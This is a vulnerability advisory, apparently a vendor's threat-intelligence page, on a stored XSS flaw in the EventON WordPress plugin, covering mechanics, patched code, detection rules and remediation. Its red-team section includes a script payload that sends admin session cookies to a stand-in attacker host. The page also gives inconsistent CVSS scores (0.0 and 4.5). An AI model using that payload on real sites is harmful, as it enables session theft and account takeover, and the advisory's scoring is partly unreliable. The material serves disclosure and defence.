CVE-2024-6910
Executive Summary
CVE-2024-6910 is a Stored Cross-Site Scripting (XSS) vulnerability in the EventON WordPress plugin, affecting versions prior to 2.2.17. The vulnerability arises from insufficient sanitization and escaping of plugin settings, allowing high-privilege users (such as administrators) to inject arbitrary web scripts. These scripts execute in the context of the WordPress admin panel whenever the settings page is viewed. Although the CVSS score is 0.0 in the NVD data, the actual risk is elevated due to the potential for privilege escalation and persistent compromise of the WordPress admin interface. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the vulnerability remains unpatched in older installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the EventON WordPress plugin, a third-party component commonly installed via the WordPress plugin repository or commercial channels. Organizations using this plugin should verify their version and apply the patch immediately. Since the plugin is not distributed via NPM, PyPI, Go, or Ruby, no additional package manager-specific advisories are required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must view the settings page
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – potential disclosure of admin session data
- Integrity Impact: Low (I:L) – injected scripts can modify settings or content
- Availability Impact: None (A:N)
Threat Level: Medium. While exploitation requires admin privileges, a compromised admin account or a malicious insider can use this to persistently inject malicious scripts into the admin panel, affecting other administrators.
Deep Dive & Mechanics
The EventON plugin stores various settings in the WordPress options table. The vulnerability exists because the plugin does not properly sanitize and escape user-supplied input before storing it in these settings. When an administrator with the manage_options capability saves the settings, the input is stored as-is. Later, when the settings page is rendered, the stored values are output without proper escaping, allowing HTML and JavaScript to be executed.
Attack Flow:
- An attacker with admin-level access navigates to the EventON settings page.
- The attacker injects a malicious payload into a vulnerable setting field (e.g., a text input for custom CSS or labels).
- The payload is stored in the WordPress database.
- When another admin (or the same admin) views the settings page, the payload executes in their browser.
- The injected script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to use wp_kses() for rich content fields. The specific vulnerable settings are not publicly documented, but the patch in version 2.2.17 addresses the sanitization gaps.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.2.17):
// In a settings field rendering function
echo '<input type="text" name="eventon_options[my_setting]" value="' . get_option('eventon_options')['my_setting'] . '" />';
The value is output directly without escaping, allowing XSS.
Patched Code (2.2.17+):
// In a settings field rendering function
$value = isset($options['my_setting']) ? esc_attr($options['my_setting']) : '';
echo '<input type="text" name="eventon_options[my_setting]" value="' . $value . '" />';
The value is now passed through esc_attr() to neutralize HTML/JavaScript.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with EventON plugin version < 2.2.17.
- Admin-level credentials (e.g., user with
manage_optionscapability).
Exploitation Steps:
- Log in as an administrator.
- Navigate to EventON settings (e.g.,
/wp-admin/admin.php?page=eventon-settings). - Locate a vulnerable input field (e.g., "Custom CSS" or "Additional Labels").
- Inject a payload such as:
or for session theft:<script>alert('XSS')</script><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- When any admin views the settings page, the script executes.
Note: No public exploit code is available, but the above manual technique is sufficient for testing.
Blue Team
Detection Steps:
- Monitor WordPress admin panel access logs for unusual settings changes.
- Review EventON settings for unexpected HTML/JavaScript in text fields.
- Use the YARA and Sigma rules below to detect malicious payloads in database entries.
Lab Setup:
- Use a local WordPress instance (e.g., via Docker) with EventON 2.2.16.
- Simulate the attack by injecting a benign payload (e.g.,
<script>console.log('test')</script>). - Verify detection rules trigger.
Indicators of Compromise (IOCs)
- File-based IOCs:
- Modified EventON plugin files (check file integrity via checksums).
- Suspicious entries in
wp_optionstable undereventon_optionsoption name.
- Network-based IOCs:
- Outbound HTTP requests to attacker-controlled domains from admin browsers.
- Unusual referrer headers from
/wp-admin/admin.php?page=eventon-settings.
- Behavioral IOCs:
- Unexpected admin account creation or privilege changes.
- Unauthorized plugin/theme modifications.
Detection Engineering
YARA Rule
rule CVE_2024_6910_EventON_XSS {
meta:
description = "Detects stored XSS payloads in EventON plugin settings"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-6910"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-6910 - EventON Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in EventON plugin settings
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Example: WordPress audit log event
ObjectName: 'eventon_options'
Details|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6910 EventON Stored XSS - Outbound Exfiltration"; flow:to_server,established; content:"/wp-admin/admin.php?page=eventon-settings"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade EventON plugin to version 2.2.17 or later.
- Review admin accounts for unauthorized changes.
- Scan the
wp_optionstable for malicious entries using the YARA rule above.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in admin panels.
- Enforce the principle of least privilege for WordPress admin users.
- Regularly audit plugin settings for unexpected content.
- Enable security plugins (e.g., Wordfence) that monitor for XSS attempts.
Patch Details: Upgrade to EventON 2.2.17 from the official WordPress plugin repository or vendor site.
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.